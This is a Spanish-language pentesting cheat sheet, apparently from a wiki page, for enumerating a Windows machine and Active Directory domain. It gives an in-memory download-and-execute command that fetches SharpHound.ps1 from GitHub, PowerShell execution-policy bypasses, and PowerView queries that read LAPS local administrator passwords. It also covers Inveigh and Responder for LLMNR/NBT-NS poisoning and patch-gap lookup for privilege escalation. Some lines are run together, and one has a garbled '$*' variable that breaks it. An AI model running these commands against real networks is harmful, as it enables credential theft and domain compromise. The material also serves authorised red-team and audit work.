Enumeracion
1. Enumeración de la máquina local
Sysinternals de Windows
Sysinternals Suite - Windows Sysinternals | Microsoft Docs
$ Get-ComputerInfoDescargar en memoria scripts
$ iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1'))comprobar si un equipo no tiene parches de seguridad instalados
$ HOSTNAME.EXE$ Get-WmiObject -Class win32_OperatingSystem | select version,buildnumber$ wmic qfe list full | findstr /i hotfixEn la web https://patchchecker.com/ podemos encontrar, según la versión de build de Windows, qué vulnerabilidades le afectarían debido a falta de actualizaciones, y puede ser usado para escalar privilegios.
2. Enumeración del dominio
Evadir las políticas de ejecución de Powershell
powershell.exe -executionpolicy bypass
powershell.exe -ep bypass
Set-ExecutionPolicy Unrestricted. .\ADRecon.ps1 ver maquina del DC
get-netcomputerListar los usuarios del dominio
Get-DomainUser | select -ExpandProperty cn Listar los equipos del dominio
Get-DomainComputerListar los dominios del forest
Get-ForestDomain Listar los tipos de "confianza" (trust) de los dominios/forest
Get-DomainTrust Get-ForestTrust La información de un grupo del dominio
Get-DomainGroup "Domain Admins" Listar los miembros de un grupo del dominio
Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername Listar shares del dominio, ignorando los default shares y check access
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname Listar política de contraseñas
(Get-DomainPolicy)."SystemAccess" Usuarios con el SID History (powerview)
Get-DomainUser -LDAPFilter '(sidHistory=*)' Listar shares del dominio que el usuario actual tiene acceso
Find-DomainShare -CheckShareAccess Comprobar configuracion de bitlocker
manage-bde.exe -status Invoke-Inveigh -HTTP N -NBNS Y -ConsoleOutput Y -EvadeRG Y LAPS
Install-Module -Name [AdmPwd.PS](http://admpwd.ps/) Si LAPS se encuentra instalado en el equipo
REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll' Identificar si se encuentra instalado en el DC
Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll'Get-ChildItem 'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll'Listar el atributo ms-mcs-admpwd
Get-NetComputer | Select-Object 'name','ms-mcs-admpwd' Get-DomainComputer -identity <Hostname> -properties ms-Mcs-AdmPwdGet-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'Lista el usuario o grupos que tienen permisos de lectura a la propiedad de LAPS para un equipo específico
Get-NetComputer -ComputerName 'LAPSCLIENT.test.local' -FullData | Select-Object -ExpandProperty distinguishedname | ForEach-Object { $*.substring($*.indexof('OU')) } | ForEach-Object {Get-ObjectAcl -ResolveGUIDs -DistinguishedName $*} | Where-Object {($*.ObjectType -like 'ms-Mcs-AdmPwd') -and ($*.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {Convert-NameToSid $*.IdentityReference} | Select-Object -ExpandProperty SID | Get-ADObject Listar la ACL para todas las OU donde algún usuario tenga permisos de lectura sobre el atributo LAPS
Get-NetOU | Get-ObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectType -like 'mc-ms-AdmPw') -and ($_.ActiveDirectoryRights -match 'ReadProperty')}| ForEach-Object{$_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID;$_} Network poissoning
Una vez estamos conectados a la red de la infraestructura, con Responder podemos suplantar los servicios de LLMNR y NBT-NS, ya que se transmiten vía UDP
responder -I <InterfazDeRed>
responder -I <InterfazDeRed> -Prdwv Bloodhound
Es la herramienta por excelencia para la enumeración de un dominio.
Para ello, se ha creado una sección explícita de la herramienta.
Last updated
Was this helpful?